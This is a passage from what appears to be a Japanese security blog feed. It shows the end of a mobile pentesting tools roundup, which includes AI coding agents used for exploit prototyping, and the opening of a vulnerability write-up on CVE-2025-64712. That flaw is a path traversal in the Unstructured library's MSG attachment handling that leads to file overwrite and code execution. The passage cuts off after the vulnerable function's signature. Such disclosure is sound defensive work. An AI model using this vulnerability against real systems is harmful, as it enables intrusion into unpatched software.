&lt;li&gt;&lt;strong&gt;クロスプラットフォーム互換性&lt;/strong&gt;：Windows、macOS、Linuxで動作し、CI/CD環境とも連携します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：Pythonコミュニティによって全面的に支えられており、セキュリティに特化した豊富なライブラリがあります。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンスの制約&lt;/strong&gt;：重い計算処理や大規模なファジングでは、コンパイル言語より低速です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プログラミングの専門知識が必要&lt;/strong&gt;：効果的に使えるかどうかは、スクリプト作成と自動化のスキルに左右されます。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自動化ワークフローのスクリプト作成&lt;/strong&gt;：複数のアプリにまたがる動的・静的テストツールのオーケストレーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エクスプロイトのプロトタイピング&lt;/strong&gt;：認証、ロジック、暗号の欠陥に対する概念実証攻撃の開発&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIのテストと検証&lt;/strong&gt;：バックエンドサービスとエンドポイントのセキュリティの自動検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツールチェーンの連携&lt;/strong&gt;：Frida、OXO、その他のセキュリティツールを一貫したワークフローへ接続&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ研究と実験&lt;/strong&gt;：複雑なシナリオに向けた独自スクリプトとテストパイプラインの迅速な開発&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="8. opencode / claude code / gemini code"&gt;8. Opencode / Claude code / Gemini Code&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OpenCodeのターミナルインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/opencode.png" title="OpenCodeツールのメニューと有効なモデルを表示するターミナルウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OpenCodeツールのメニューと有効なモデルを表示するターミナルウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt="Claude Codeのターミナルインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/claude-code.png" title="Claude Codeツールのウェルカム画面とアクティビティログを表示するターミナルウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Claude Codeツールのウェルカム画面とアクティビティログを表示するターミナルウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Opencode&lt;/strong&gt;、&lt;strong&gt;Claude Code&lt;/strong&gt;、&lt;strong&gt;Gemini Code&lt;/strong&gt;は、ターミナル、IDE、デスクトップクライアントなどの開発環境の中で、エンジニアやセキュリティチームを直接支援するよう設計された&lt;strong&gt;オープンソースのAIを活用したコーディング・開発エージェント&lt;/strong&gt;です。複数の大規模言語モデル（LLM）に対応し、既存のワークフローと連携して、コード生成、デバッグ、リファクタリング、解析をリアルタイムで支援します。&lt;/p&gt;
&lt;p&gt;当社のセキュリティチームは、Opencode、Claude Code、Gemini Codeを、セキュリティエンジニアリング、ツール開発、エクスプロイトのプロトタイピング、自動化スクリプトの作成、研究ワークフロー全般にわたる生産性向上と高速化のレイヤーとして&lt;strong&gt;使用しています&lt;/strong&gt;。これらのツールは、モバイルおよびバックエンドのセキュリティ案件において、独自のテストユーティリティの構築、概念実証エクスプロイトの作成、評価の自動化、詳細な技術解析を行う際のスピードアップに役立っています。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：AI支援型の開発、スクリプト作成、技術解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：セキュリティツール、エクスプロイトのプロトタイプ、自動化ワークフローの迅速な開発&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：セキュリティエンジニアリングのタスク、研究ワークフロー、テスト自動化の高速化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：スクリプト作成、ペイロード生成、エクスプロイトの検証、ツールのカスタマイズの迅速化
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コード生成と支援&lt;/strong&gt;：セキュリティテストのためのスクリプト、エクスプロイト、自動化ロジックを、当社チームがすばやく作成するのに役立ちます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複数モデルへの対応&lt;/strong&gt;：複数のLLMプロバイダーやローカルモデルで動作し、環境やプライバシー要件に応じた柔軟性を提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IDEとターミナルへの統合&lt;/strong&gt;：開発ワークフローの中で直接動作し、コンテキストの切り替えや摩擦を減らします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動化とスクリプト作成の高速化&lt;/strong&gt;：独自ツールやセキュリティワークフローの開発サイクルを大幅に短縮します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プライバシーを重視した設計&lt;/strong&gt;：ソースコードやセッションのコンテキストを保存しないため、機密性の高いセキュリティプロジェクトにも適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソースで拡張可能&lt;/strong&gt;：完全なオープンソースで、コミュニティによる活発な開発と拡張性を備えています。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モデルに依存する精度&lt;/strong&gt;：出力の品質は、選択したモデルとプロンプトの質に大きく左右されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ上の検証が必要&lt;/strong&gt;：生成されたコードとロジックは、正しさと安全性について常に手作業でレビューする必要があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンテキストの制約&lt;/strong&gt;：大規模なプロジェクトや非常に複雑なプロジェクトでは、精度を保つために慎重なコンテキスト管理が必要になる場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;専門知識の代わりにはならない&lt;/strong&gt;：生産性を高めるものであり、深いセキュリティエンジニアリングの知識に取って代わるものではありません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の負担&lt;/strong&gt;：依存や慢心のリスクを避けるため、ワークフローへの慎重な組み込みが必要です。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ自動化スクリプトの作成&lt;/strong&gt;：独自のテストスクリプトやオーケストレーションスクリプトの迅速な開発&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エクスプロイトのプロトタイピング&lt;/strong&gt;：概念実証エクスプロイトと攻撃ワークフローの作成と改良&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ペイロード生成&lt;/strong&gt;：ファジングロジックの開発とペイロード作成の支援&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツールチェーンの連携&lt;/strong&gt;：複数のセキュリティツールを自動化ワークフローへ接続&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ研究の支援&lt;/strong&gt;：脆弱性解析とリバースエンジニアリングのタスクの高速化&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="9. docker / docker compose"&gt;9. Docker / Docker Compose&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ASCIIアートのクジラが表示されたDockerのターミナル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/docker.png" title="Docker ToolboxのクジラのロゴとIPアドレスを表示するターミナルウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Docker ToolboxのクジラのロゴとIPアドレスを表示するターミナルウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;DockerとDocker Composeは、&lt;strong&gt;当社のセキュリティチームが隔離された再現可能なテスト環境を立ち上げられるようにするコンテナ化ツール&lt;/strong&gt;です。モバイル評価のたびにサーバー、データベース、バックエンドサービスを手作業で構築する代わりに、&lt;strong&gt;すべてをコンテナにパッケージ化&lt;/strong&gt;し、どこでも実行し、必要に応じて即座にリセットできます。これにより、特に複雑なモバイルバックエンドを扱う際に、テストがより速く、一貫性があり、安全なものになります。&lt;/p&gt;
&lt;p&gt;当社はDockerとDocker Composeを使って、&lt;strong&gt;セキュリティツールをホストし、複数サービスからなるバックエンドを再現し、環境構築を自動化&lt;/strong&gt;しています。これにより、すべての評価がクリーンで標準化された状態から始まることを保証しています。これら自体はテストツールではありませんが、ほかのすべてのツールを&lt;strong&gt;確実に、かつ大規模に機能させる&lt;/strong&gt;ものです。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：セキュリティテストと開発のためのコンテナ化された環境の管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：隔離されたテストラボ、モバイルバックエンドのエミュレーター、複数サービスからなるアプリケーションの実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：環境の標準化、再現性の確保、セットアップ時間の短縮&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：手作業による設定を最小限に抑えた、モバイルおよびバックエンドのテスト環境の迅速なデプロイ
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;環境の一貫性&lt;/strong&gt;：ローカル、クラウド、CI/CDパイプラインで同一の構成を保証します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迅速なデプロイ&lt;/strong&gt;：サービスやテスト環境を数秒で立ち上げたり破棄したりできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複数サービスのオーケストレーション&lt;/strong&gt;：データベース、API、アプリのバックエンドのために複数のコンテナを組み合わせられます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隔離と安全性&lt;/strong&gt;：ローカルシステムの依存関係との競合を防ぎ、信頼性を高めます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CDとの連携&lt;/strong&gt;：モバイルおよびバックエンドのセキュリティ評価のための自動テストパイプラインを実現します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スケーラビリティ&lt;/strong&gt;：大規模なテストシナリオに向けて、単一ホストと分散型の両方のデプロイに対応します。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;習得の難しさ&lt;/strong&gt;：コンテナの概念、イメージ、ボリューム、ネットワークについての理解が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リソースの負荷&lt;/strong&gt;：複数のコンテナがCPUとメモリを大量に消費することがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;それ自体はテストツールではない&lt;/strong&gt;：解析や評価には、コンテナ内に実際のセキュリティツールが必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上のセットアップ&lt;/strong&gt;：初期の環境設定とコンテナのオーケストレーションには計画が必要な場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依存関係の管理&lt;/strong&gt;：設定を誤ったイメージや古いコンテナは、信頼性や結果に影響を及ぼすことがあります。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;持ち運び可能なテストラボ&lt;/strong&gt;：テストのためにモバイルアプリのバックエンド環境をすばやく再現&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツールのホスティング&lt;/strong&gt;：mitmproxyやその他のセキュリティツールを隔離されたコンテナで実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CDとの連携&lt;/strong&gt;：パイプラインでの脆弱性スキャンと実行時テストの自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複数サービスのシミュレーション&lt;/strong&gt;：APIとワークフローのテストのために複雑なバックエンドサービスを再現&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実験と研究&lt;/strong&gt;：本番システムに影響を与えずに、エクスプロイトや攻撃フローを安全にテスト&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="10. nuclei"&gt;10. Nuclei&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Nucleiツールのスキャン結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/nuclei.png" title="Nucleiツールのスキャン結果と脆弱性を表示するターミナルウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Nucleiツールのスキャン結果と脆弱性を表示するターミナルウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Nucleiは、&lt;strong&gt;コミュニティ主導のテンプレートエコシステム&lt;/strong&gt;を原動力とし、シンプルなYAMLベースのDSLの上に構築されたオープンソースの脆弱性スキャナーです。セキュリティチームは、幅広い脆弱性に対する独自の検出ロジックを定義し、実際のエクスプロイトの手順を高速かつ正確にシミュレートできます。&lt;/p&gt;
&lt;p&gt;当社のセキュリティチームはNucleiを使って、Webサービス、API、ネットワーク、その他のモバイル関連インフラ全体で、&lt;strong&gt;的を絞った脆弱性検出を自動化・スケール&lt;/strong&gt;させ、アタックサーフェスや設定上の問題をすばやく把握しています。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：カスタマイズ可能なテンプレートを使った自動脆弱性スキャン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：既知の問題、設定ミス、CVE、露出したサービスの検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：手作業の負担を最小限に抑えながら、広範な脆弱性の発見を加速すること&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：Web、API、ネットワークのアタックサーフェスの継続的かつ反復可能な評価
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;テンプレート駆動の検出&lt;/strong&gt;：シンプルなYAMLテンプレートで脆弱性チェックを定義でき、すばやくカスタマイズできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コミュニティのエコシステム&lt;/strong&gt;：世界中のセキュリティ研究者が提供した数千ものテンプレートがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;速度とスケーラビリティ&lt;/strong&gt;：誤検知（フォールスポジティブ）を最小限に抑えた、超高速の並列スキャンを行います。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルチプロトコル対応&lt;/strong&gt;：HTTP、DNS、TCP、SSL/TLS、WebSocketなどをスキャンします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワークフローとの連携&lt;/strong&gt;：CI/CDパイプラインや自動化ツールに容易に組み込めます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カスタムテンプレート&lt;/strong&gt;：固有の攻撃ベクトルに対する組織独自のチェックを作成できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：MITライセンスで提供され、大規模なセキュリティコミュニティによって活発に保守されています。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;テンプレートへの依存&lt;/strong&gt;：有効性は、利用可能なテンプレートの品質とカバレッジに左右されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DASTの完全な代替ではない&lt;/strong&gt;：定義されたチェックに基づく検出に重点を置いており、より深い悪用には手作業による追加調査が必要になる場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;習得の難しさ&lt;/strong&gt;：効果的なカスタムテンプレートを書くには、YAMLと検出ロジックへの精通が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;誤ったシグナルのリスク&lt;/strong&gt;：テンプレートスキャンは、フィルタリングとコンテキストがなければノイズの多い結果を返すことがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行時のみ&lt;/strong&gt;：バイナリ解析や実行時のフックは行わないため、ほかのツールと組み合わせて使うのが最適です。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;偵察と発見&lt;/strong&gt;：露出したエンドポイント、サービス、一般的な設定ミスの迅速な特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テンプレートベースの脆弱性検出&lt;/strong&gt;：CVE、デフォルトの認証情報、セキュリティ上の設定ミスのスキャン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIとWebのスキャン&lt;/strong&gt;：Web API、エンドポイント、バックエンドロジックに対する自動チェック&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CDとの連携&lt;/strong&gt;：自動化パイプラインの一部としての継続的なセキュリティ検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;独自のワークフロー自動化&lt;/strong&gt;：テンプレートを連鎖させ、複数ステップの攻撃シナリオをシミュレート&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ボーナス:ostorlab platform"&gt;ボーナス：&lt;a href="https://ostorlab.co/"&gt;Ostorlab Platform&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OstorlabのWebサイトのヒーローセクション" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/ostorlab-platform.png" title="Ostorlabプラットフォーム"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlabプラットフォーム&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;ここまで紹介したツールは、いずれも&lt;strong&gt;モバイルのペネトレーションテスト&lt;/strong&gt;の特定の部分に優れています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Frida&lt;/strong&gt;は実行時の計装を、&lt;strong&gt;Ghidra&lt;/strong&gt;と&lt;strong&gt;JADX&lt;/strong&gt;は静的解析とリバースエンジニアリングを担い、&lt;strong&gt;mitmproxy&lt;/strong&gt;と&lt;strong&gt;Wireshark&lt;/strong&gt;はネットワークトラフィックに焦点を当て、&lt;strong&gt;OXO&lt;/strong&gt;と&lt;strong&gt;Python&lt;/strong&gt;はワークフローの自動化とオーケストレーションを助け、&lt;strong&gt;Opencode、Claude Code&lt;/strong&gt;、&lt;strong&gt;Gemini Code&lt;/strong&gt;はコーディング、スクリプト作成、エクスプロイトのプロトタイピングを加速させます。これらを組み合わせることで、徹底した&lt;strong&gt;AndroidおよびiOSの評価&lt;/strong&gt;のための、互いを補完するツールキットになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、これらすべての機能を単一のプラットフォームに統合します。当社の&lt;strong&gt;AIによるモバイルペネトレーションテスト&lt;/strong&gt;は、動的、静的、ネットワークの各レイヤーにわたって評価を加速し、AIエージェントが実際に動作するエクスプロイトで各検出結果を確認します。&lt;strong&gt;脆弱性の&lt;/strong&gt; &lt;strong&gt;発見&lt;/strong&gt;から&lt;strong&gt;アタックサーフェスのマッピング&lt;/strong&gt;、&lt;strong&gt;CI/CDとの連携&lt;/strong&gt;、&lt;strong&gt;自動レポート作成&lt;/strong&gt;まで、Ostorlabは複数のツールを切り替える必要なく、モバイルペンテストのあらゆる段階をカバーします。&lt;/p&gt;
&lt;p&gt;モバイルのペネトレーションテストにおいてスピード、精度、完全なカバレッジを目指すセキュリティチームに向けて、Ostorlabは従来のツールを補完し、評価ワークフロー全体を効率化し、複数のソリューションを手作業でオーケストレーションする手間を置き換えるエンドツーエンドのソリューションを提供します。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月6日更新：検出結果はAIエージェントが実際に動作するエクスプロイトで検証します。OstorlabはAIペンテストの検出結果について人間による検証を提供していません。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://ostorlab.co/"&gt;Ostorlabを無料で試す&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</content><category term="Security"/><category term="Mobile"/><category term="pentest"/></entry><entry><title>CVE-2025-64712：UnstructuredライブラリのMSG処理におけるパストラバーサルRCE</title><link href="https://blog.ostorlab.co/ja/cve-2025-64712-path_traversal-rce-unstructured.html" rel="alternate"/><published>2026-02-23T08:00:00+01:00</published><updated>2026-02-23T08:00:00+01:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-02-23:/ja/cve-2025-64712-path_traversal-rce-unstructured.html</id><summary type="html">&lt;p&gt;Unstructured Pythonライブラリ（&amp;lt; 0.18.18）に存在する、CVSS 9.8（クリティカル）のパストラバーサルによるリモートコード実行脆弱性CVE-2025-64712の技術的解説です。Outlook MSG処理における添付ファイル名のサニタイズ不備によりパストラバーサルが可能となり、攻撃者は細工したMSGファイルを介して任意のファイルを上書きし、コード実行を実現できます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2025-64712&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;UnstructuredライブラリのMSG処理におけるクリティカルなパストラバーサルRCE&lt;/p&gt;
&lt;p&gt;2026年2月18日 &amp;middot; CVSS 9.8 Critical &amp;middot; Unstructured &amp;lt; 0.18.18&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済みバージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2025-64712&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.8 Critical&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 0.18.18&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.18.18+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="cve-2025-64712の概要:unstructuredライブラリにおけるパストラバーサル"&gt;CVE-2025-64712の概要：Unstructuredライブラリにおけるパストラバーサル&lt;/h2&gt;
&lt;p&gt;Unstructured Pythonライブラリは、複雑なドキュメント型を前処理するためのオープンソースのツールキットです。わずか1年余りで、Unstructuredライブラリはダウンロード数が400万を超え、1万近い公開GitHubリポジトリ、100のPythonパッケージ、そして多数のLLM搭載製品の裏側で使われています。しかし、Microsoft Outlookの.msgファイルを処理する&lt;strong&gt;partition_msg&lt;/strong&gt;関数に、クリティカルな&lt;strong&gt;パストラバーサル（CWE-22）&lt;/strong&gt;の脆弱性が発見されました。&lt;strong&gt;process_attachments&lt;/strong&gt;設定が有効（これがデフォルトです）になっていると、このライブラリは、本来の一時ディレクトリの外に&lt;strong&gt;ファイルを書き込む&lt;/strong&gt;ように操作され得ます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;partition_msg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IO&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;metadata_filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;metadata_last_modified&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="n"&gt;process_attachments&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# the vulnerability trigger &lt;/span&gt;
&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Element&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;SNIP&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="unstructuredライブラリにおけるパストラバーサル:安全でないファイル名の扱い"&gt;Unstructuredライブラリにおけるパストラバーサル：安全でないファイル名の扱い&lt;/h2&gt;
&lt;p&gt;問題の核心はパストラバーサル（CWE-22）の脆弱性です。このライブラリの&lt;strong&gt;_attachment_file_name()&lt;/strong&gt;関数は、添付ファイルの名前を.msgファイルから何のサニタイズもせずに直接取り出します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@lazyproperty&lt;/span&gt;
